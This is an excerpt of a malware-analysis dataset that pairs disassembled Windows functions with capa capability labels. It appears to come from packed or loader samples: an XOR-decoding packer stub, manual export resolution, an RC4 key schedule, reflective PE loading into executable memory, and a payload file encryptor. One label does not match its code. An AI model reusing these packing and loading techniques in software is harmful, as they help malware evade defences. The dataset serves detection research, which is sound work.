joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40cf10
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x443004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0
mov esi, ecx
mov ebx, edx
push eax
push esi
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], esi
call fcn.0040dda0
add esp, 8
mov dword [ebp - 0x30], eax
test eax, eax
jne 0x40cf71
push str.Cannot_read_payload_
push 0x444678
call fcn.00404fc0
push eax
call fcn.00405270
add esp, 0xc
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x24]
mov eax, ecx
and al, 0xf
mov dword [ebp - 0x28], ecx
movzx edi, al
neg edi
sbb edi, edi
and ecx, 0xfffffff0
and edi, 0x10
add edi, ecx
xor ecx, ecx
mov eax, edi
mov dword [ebp - 0x3c], edi
add eax, 1
setb cl
neg ecx
or ecx, eax
push ecx
call fcn.00419761
add esp, 4
mov dword [ebp - 0x2c], eax
lea ecx, [edi + 1]
push ecx
push 0
push eax
call fcn.004130c0
xor edi, edi
mov dword [ebp - 0x20], 0x72676148
add esp, 0xc
mov dword [ebp - 0x1c], 0x39326469
xorps xmm0, xmm0
movlpd qword [ebp - 0x18], xmm0
cmp dword [ebp - 0x28], edi
jbe 0x40d00e
mov esi, dword [ebp - 0x30]
lea eax, [ebp - 0x20]
mov ebx, dword [ebp - 0x28]
xor ecx, ecx
mov dword [0x445144], eax
mov eax, dword [ebp - 0x2c]
movups xmm0, xmmword [ecx + esi]
add eax, ecx
mov dword [0x445148], eax
movups xmmword [eax], xmm0
call fcn.00401240
call fcn.00401590
inc edi
mov ecx, edi
shl ecx, 4
cmp ecx, ebx
jb 0x40cfe3
mov esi, dword [ebp - 0x34]
mov ebx, dword [ebp - 0x38]
test ebx, ebx
jne 0x40d044
lea ecx, [ebp - 0x10]
sub ecx, esi
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x40d017
lea ecx, [ebp - 0x10]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x40d028
mov eax, dword [str..enc]
lea ebx, [ebp - 0x10]
mov dword [ecx], eax
mov al, byte [0x43eb54]
mov byte [ecx + 4], al
push 0x43eb58
push ebx
call fcn.00419824
push eax
push dword [ebp - 0x3c]
push 1
push dword [ebp - 0x2c]
call fcn.00418c71
mov ecx, dword [ebp - 4]
add esp, 0x18
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret

Function at 0x40d080
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
cmp ebx, 0x10
jae 0x40d0fd
mov esi, dword [ebp + 8]
test esi, esi
je 0x40d0fd
push 0x40
push esi
call fcn.0040e1a0
add esp, 8
test al, al
jne 0x40d0fd
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x40d0fd
mov eax, dword [esi + 0x3c]
cmp eax, 0x400
jg 0x40d0fd
lea edi, [eax + esi]
push 0xf8
push edi
call fcn.0040e1a0
add esp, 8
test al, al
jne 0x40d0fd
cmp dword [edi], 0x4550
jne 0x40d0fd
push esi
call fcn.0040d5c0
add esp, 4
mov ecx, 0x78
test al, al
mov edx, 0x88
cmovne ecx, edx
lea eax, [ecx + ebx*8]
add eax, edi
cmp byte [ebp + 0x10], 0
jne 0x40d0ff
cmp dword [eax], 0
jne 0x40d0ff
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x40d110
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
test esi, esi
je 0x40d16c
push 0x40
push esi
call fcn.0040e1a0
add esp, 8
test al, al
jne 0x40d16c
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x40d16c
mov eax, dword [esi + 0x3c]
cmp eax, 0x400
jg 0x40d16c
lea edi, [eax + esi]
push 0xf8
push edi
call fcn.0040e1a0
add esp, 8
test al, al
jne 0x40d16c
cmp dword [edi], 0x4550
jne 0x40d16c
push esi
call fcn.0040d5c0
mov eax, dword [edi + 0x28]
add esp, 4
pop edi
pop esi
pop ebp
ret
pop edi
xor eax, eax
pop esi
pop ebp
ret

Function at 0x40d180
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
push esi
call fcn.0040d5c0
add esp, 4
mov bl, al
test esi, esi
je 0x40d1ed
push 0x40
push esi
call fcn.0040e1a0
add esp, 8
test al, al
jne 0x40d1ed
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x40d1ed
mov eax, dword [esi + 0x3c]
cmp eax, 0x400
jg 0x40d1ed
add esi, eax
push 0xf8
push esi
call fcn.0040e1a0
add esp, 8
test al, al
jne 0x40d1ed
cmp dword [esi], 0x4550
jne 0x40d1ed
test bl, bl
je 0x40d1e4
mov eax, dword [esi + 0x30]
mov edx, dword [esi + 0x34]
pop esi
pop ebx
pop ebp
ret
mov eax, dword [esi + 0x34]
xor edx, edx
pop esi
pop ebx
pop ebp
ret
pop esi
xor eax, eax
xor edx, edx
pop ebx
pop ebp
ret

Function at 0x40d200
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
test esi, esi
je 0x40d278
push 0x40
push esi
call fcn.0040e1a0
add esp, 8
test al, al
jne 0x40d278
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x40d278
mov eax, dword [esi + 0x3c]
cmp eax, 0x400
jg 0x40d278
lea edi, [eax + esi]
push 0xf8
push edi
call fcn.0040e1a0
add esp, 8
test al, al
jne 0x40d278
cmp dword [edi], 0x4550
jne 0x40d278
push esi
call fcn.0040d5c0
add esp, 4
push esi
test al, al
je 0x40d269
call fcn.0040d2f0
add esp, 4
mov eax, dword [eax + 0x50]
pop edi
pop esi
pop ebp
ret
call fcn.0040d280
add esp, 4
mov eax, dword [eax + 0x50]
pop edi
pop esi
pop ebp
ret
pop edi
xor eax, eax
pop esi
pop ebp
ret

Function at 0x40d280
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
test esi, esi
je 0x40d2df
push 0x40
push esi
call fcn.0040e1a0
add esp, 8
test al, al
jne 0x40d2df
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x40d2df
mov eax, dword [esi + 0x3c]
cmp eax, 0x400
jg 0x40d2df
lea edi, [eax + esi]
push 0xf8
push edi
call fcn.0040e1a0
add esp, 8
test al, al
jne 0x40d2df
cmp dword [edi], 0x4550
jne 0x40d2df
push esi
call fcn.0040d5c0
add esp, 4
test al, al
jne 0x40d2df
mov eax, edi
pop edi
pop esi
pop ebp
ret
pop edi
xor eax, eax
pop esi
pop ebp
ret
Function at 0x40d2f0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
test esi, esi
je 0x40d34f
push 0x40
push esi
call fcn.0040e1a0
add esp, 8
test al, al
jne 0x40d34f
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x40d34f
mov eax, dword [esi + 0x3c]
cmp eax, 0x400
jg 0x40d34f
lea edi, [eax + esi]
push 0xf8
push edi
call fcn.0040e1a0
add esp, 8
test al, al
jne 0x40d34f
cmp dword [edi], 0x4550
jne 0x40d34f
push esi
call fcn.0040d5c0
add esp, 4
test al, al
je 0x40d34f
mov eax, edi
pop edi
pop esi
pop ebp
ret
pop edi
xor eax, eax
pop esi
pop ebp
ret

Function at 0x40d360
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
test esi, esi
je 0x40d385
mov ebx, dword [ebp + 0xc]
push 0x40
push esi
test ebx, ebx
je 0x40d38c
push ebx
push esi
call fcn.0040e160
add esp, 0x10
test al, al
jne 0x40d398
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret
call fcn.0040e1a0
add esp, 8
test al, al
jne 0x40d385
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x40d385
mov eax, dword [esi + 0x3c]
cmp eax, 0x400
jg 0x40d385
lea edi, [eax + esi]
push 0xf8
push edi
test ebx, ebx
je 0x40d3ce
push ebx
push esi
call fcn.0040e160
add esp, 0x10
test al, al
jne 0x40d3da
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret
call fcn.0040e1a0
add esp, 8
test al, al
jne 0x40d385
cmp dword [edi], 0x4550
jne 0x40d385
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x40d540
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
test esi, esi
je 0x40d5b7
push 0x40
push esi
call fcn.0040e1a0
add esp, 8
test al, al
jne 0x40d5b7
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x40d5b7
mov eax, dword [esi + 0x3c]
cmp eax, 0x400
jg 0x40d5b7
lea edi, [eax + esi]
push 0xf8
push edi
call fcn.0040e1a0
add esp, 8
test al, al
jne 0x40d5b7
cmp dword [edi], 0x4550
jne 0x40d5b7
push esi
call fcn.0040d5c0
add esp, 4
mov ecx, 0xa0
test al, al
mov edx, 0xb0
cmovne ecx, edx
cmp dword [ecx + edi], 0
lea eax, [ecx + edi]
je 0x40d5b7
test eax, eax
je 0x40d5b7
pop edi
mov al, 1
pop esi
pop ebp
ret
pop edi
xor al, al
pop esi
pop ebp
ret

Function at 0x40d5c0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x40d62f
push 0x40
push esi
call fcn.0040e1a0
add esp, 8
test al, al
jne 0x40d62f
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x40d62f
mov eax, dword [esi + 0x3c]
cmp eax, 0x400
jg 0x40d62f
add esi, eax
push 0xf8
push esi
call fcn.0040e1a0
add esp, 8
test al, al
jne 0x40d62f
cmp dword [esi], 0x4550
jne 0x40d62f
push 0xf8
push esi
call fcn.0040e1a0
add esp, 8
test al, al
jne 0x40d62f
movzx eax, word [esi + 0x18]
mov ecx, 0x20b
cmp ax, cx
jne 0x40d62f
mov al, 1
pop esi
pop ebp
ret
xor al, al
pop esi
pop ebp
ret
Function at 0x40d640
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
jne 0x40d650
xor al, al
pop esi
pop ebp
ret
push esi
call fcn.0040d5c0
push 0x40
push esi
call fcn.0040e1a0
add esp, 0xc
test al, al
jne 0x40d6a1
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x40d6a1
mov eax, dword [esi + 0x3c]
cmp eax, 0x400
jg 0x40d6a1
add esi, eax
push 0xf8
push esi
call fcn.0040e1a0
add esp, 8
test al, al
jne 0x40d6a1
cmp dword [esi], 0x4550
jne 0x40d6a1
movzx eax, word [esi + 0x16]
shr eax, 0xd
and al, 1
pop esi
pop ebp
ret
xor eax, eax
shr eax, 0xd
and al, 1
pop esi
pop ebp
ret

Function at 0x40dda0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push edi
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40ddd0
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
push ebx
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebx, eax
test ebx, ebx
jne 0x40ddf7
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
push esi
push 0
push 0
push 0
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 4], eax
test eax, eax
je 0x40ded1
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
test eax, eax
je 0x40de2b
cmp eax, esi
cmovbe esi, eax
push esi
push dword [ebp - 4]
call fcn.0040e1a0
add esp, 8
test al, al
je 0x40dee6
push str._is_invalid_
push dword [ebp + 8]
push str.____Mapping_of
push 0x444678
call fcn.00404fc0
add esp, 8
push eax
call fcn.00404fc0
add esp, 8
push eax
call fcn.00404fc0
add esp, 8
mov dword [ebp - 0x10], eax
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
mov ecx, dword [ecx + eax + 0x30]
mov esi, dword [ecx + 4]
mov ecx, esi
mov dword [ebp - 8], esi
mov edx, dword [esi]
call dword [edx + 4]
lea eax, [ebp - 0xc]
push eax
call fcn.00404e40
add esp, 4
mov ecx, eax
mov edx, dword [eax]
push 0xa
mov eax, dword [edx + 0x20]
call eax
mov byte [ebp - 8], al
test esi, esi
je 0x40deb5
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 8]
test eax, eax
je 0x40deb5
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
push dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
call fcn.00405bd0
mov ecx, dword [ebp - 0x10]
call fcn.00404c60
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
pop esi
pop ebx
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
push esi
call fcn.0040e100
add esp, 4
mov dword [ebp - 0x10], eax
test eax, eax
je 0x40df05
push esi
push dword [ebp - 4]
push eax
call fcn.004125c0
add esp, 0xc
jmp 0x40df07
xor esi, esi
mov eax, dword [ebp + 0xc]
push dword [ebp - 4]
mov dword [eax], esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
mov eax, dword [ebp - 0x10]
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x410d53
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x443004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
mov eax, 0xffff
push edi
mov edi, ecx
cmp ax, bx
jne 0x410d78
xor eax, eax
jmp 0x410dd4
mov eax, dword [edi + 0x20]
push esi
mov ecx, dword [eax]
test ecx, ecx
je 0x410da5
mov edx, dword [edi + 0x30]
mov esi, dword [edx]
lea eax, [ecx + esi*2]
cmp ecx, eax
jae 0x410da5
lea ecx, [esi - 1]
mov dword [edx], ecx
mov edx, dword [edi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 2]
mov dword [edx], ecx
mov word [esi], bx
jmp 0x410e59
cmp dword [edi + 0x4c], 0
je 0x410dce
mov ecx, edi
call fcn.004109b4
mov eax, dword [edi + 0x38]
mov dword [ebp - 0x2c], eax
test eax, eax
jne 0x410de4
push dword [edi + 0x4c]
push ebx
call fcn.004103bf
pop ecx
test al, al
movzx eax, bx
pop ecx
jne 0x410dd3
mov eax, 0xffff
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.0040eb7d
leave
ret 4
mov word [ebp - 0x28], bx
mov eax, dword [eax]
mov esi, dword [eax + 0x1c]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 4]
mov ecx, esi
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x26]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [edi + 0x40]
push eax
call dword [0x4301b0]
mov ecx, dword [ebp - 0x2c]
call esi
test eax, eax
js 0x410dce
cmp eax, 1
jle 0x410e2c
cmp eax, 3
jne 0x410dce
push dword [edi + 0x4c]
push dword [ebp - 0x28]
jmp 0x410dc0
mov esi, dword [ebp - 0x30]
lea eax, [ebp - 0x24]
sub esi, eax
je 0x410e49
push dword [edi + 0x4c]
push esi
push 1
push eax
call fcn.00418c71
add esp, 0x10
cmp esi, eax
jne 0x410dce
lea eax, [ebp - 0x28]
mov byte [edi + 0x3e], 1
cmp dword [ebp - 0x34], eax
je 0x410dce
mov ax, bx
jmp 0x410dd3

Function at 0x4226dd
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00422384

Function at 0x4226e8
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0042250e
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
je 0x433072
nop
nop
nop
nop
mov ebx, 0x40de38
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
mov esi, 0x5ec04754
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x433060
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4330d2
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x3e040b21
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x100fde81
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x40
mov eax, dword [ebp + 8]
mov ecx, dword [0x101d6c78]
add ecx, 0xffffd373
mov dword [0x101d6c74], ecx
mov dword [ebp - 0x10], eax
call fcn.100ff1b4
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov dword [0x101d6c74], 0x9dc
mov edi, dword [0x101d6c78]
add edi, 0x21bf
mov dword [0x101d6c78], edi
mov esi, dword [eax + esi + 0x78]
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov dword [0x101d6c74], 0xffffeeb0
mov dword [0x101d6c78], 0x15d7
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ecx
je 0x100fe013
jmp 0x100fdf33
mov eax, dword [ebp - 0x28]
mov ecx, eax
mov edx, dword [ebp - 0x2c]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x30], eax
mov byte [ebp - 0x31], bh
mov byte [ebp - 0x32], cl
je 0x100fdfa9
jmp 0x100fdf7d
mov eax, 0x15d7
xor ecx, ecx
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x24]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
xor esi, esi
mov edi, dword [ebp - 0x14]
mov ebx, dword [edi + eax*4]
mov edi, edx
add edi, 0xffffecbf
mov dword [0x101d6c74], edi
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], esi
jmp 0x100fdf08
mov eax, dword [ebp - 0x30]
add eax, 1
mov cl, byte [ebp - 0x31]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x32]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x28], eax
jne 0x100fdf08
mov al, byte [ebp - 0x32]
test al, 1
jne 0x100fdfee
jmp 0x100fdfb2
xor eax, eax
mov ecx, dword [ebp - 0x4c]
add ecx, 0xffffec71
mov dword [0x101d6c78], ecx
mov edx, dword [ebp - 0x48]
add edx, 2
mov esi, dword [ebp - 0x44]
add esi, 1
mov edi, dword [ebp - 0x18]
cmp esi, edi
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x24], eax
jb 0x100fdf4d
jmp 0x100fe013
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x1c]
mov ecx, dword [edx + ecx*4]
mov dword [0x101d6c74], 0x651
mov edx, dword [ebp - 0x1c]
add edx, ecx
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
add esp, 0x40
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100fe0bf
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [0x101d6c74], 0x3eb
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
xor eax, eax
mov dword [0x101d6c78], 0x840
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov cl, byte [eax + 0x101bd7c4]
mov dl, byte [eax + 0x101bd795]
sub dl, cl
mov byte [ebp + eax - 0x20], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x2c], eax
jne 0x100fe0ea
lea eax, [ebp - 0x20]
mov dword [0x101d6c78], 0x16248
mov dword [0x101d6c74], 0x4b4
mov dword [ebp - 0x30], eax
call fcn.100fe7f8
mov dword [esp], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
call fcn.100fe474
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
je 0x100fe1fa
mov eax, dword [ebp - 0x34]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x101d6c74]
add ecx, 0x2253
mov dword [0x101d6c74], ecx
mov dword [esp], eax
mov ecx, dword [ebp - 0x24]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.100fe202
xor eax, eax
mov ecx, dword [ebp - 0x3c]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xc0
mov dword [0x101d6c78], 0x13bc
mov dword [ecx + 0xc0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x28]
mov dword [edx + 0x5c], ecx
mov ecx, dword [ebp - 0x3c]
mov dword [edx], ecx
mov dword [0x101d6c74], 0xf7e
cmp ecx, 0
mov dword [ebp - 0x38], eax
je 0x100fe1fa
mov eax, dword [ebp - 0x3c]
add eax, 0x234b
mov dword [0x101d6c78], 0x414
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
add esp, 0x4c
pop ebp
ret
Function at 0x100fe31f
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x101d6c80], 0
mov byte [0x101d6c84], 0
mov dword [0x101d6c7c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x101d6c74], 0x7ed
mov eax, dword [0x101d6c7c]
add eax, 1
mov dword [0x101d6c7c], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x100fe35a
xor eax, eax
mov dword [0x101d6c78], 0x441
mov dword [0x101d6c7c], 0
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [ebp - 0x24], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x101d6c88], 0
mov dword [0x101d6c78], 0x2651
mov edi, dword [0x101d6c80]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x101d6c88], esi
mov dword [0x101d6c74], 0x103
mov eax, esi
cdq
idiv ecx
mov dword [0x101d6c80], edx
mov dword [0x101d6c78], 0xfffff8df
mov ecx, dword [ebp - 0x24]
mov cl, byte [ebx + ecx]
mov byte [0x101d6c84], cl
mov dword [0x101d6c78], 0x23a8
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x24]
mov byte [ebx + edx], cl
mov cl, byte [0x101d6c84]
mov esi, dword [0x101d6c80]
mov byte [ebx + esi], cl
mov dword [0x101d6c74], 0x11a4
mov esi, dword [0x101d6c7c]
add esi, 1
mov dword [0x101d6c7c], esi
cmp esi, 0x100
mov dword [ebp - 0x20], esi
jl 0x100fe3a3
mov dword [0x101d6c74], 0x12fc
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100fee99
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x24
mov dword [ebp - 8], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
xor ecx, ecx
mov dword [0x101d6c78], 0x1ec2
mov edx, dword [ebp - 8]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov esi, dword [0x101d6c74]
add esi, 0xffffd90d
mov dword [0x101d6c74], esi
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
je 0x100fef0d
mov eax, dword [ebp - 0x18]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x1c], eax
jl 0x100feee0
mov eax, dword [ebp - 0x1c]
mov dword [0x101d6c78], 0x1559
mov dword [0x101d6c74], 0xff6
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x20], eax
jne 0x100fef9f
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x100fef9f
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x100fef9f
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x100fef9f
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x100fef9f
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x100fef9f
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff9
mov dword [ebp - 0x24], eax
mov eax, 1
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x24]
cmp word [ecx + edx*2], 0x6c
mov dword [ebp - 0x28], eax
je 0x100fefa6
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x100fefa6
mov eax, dword [ebp - 0x28]
add esp, 0x24
pop esi
pop ebp
ret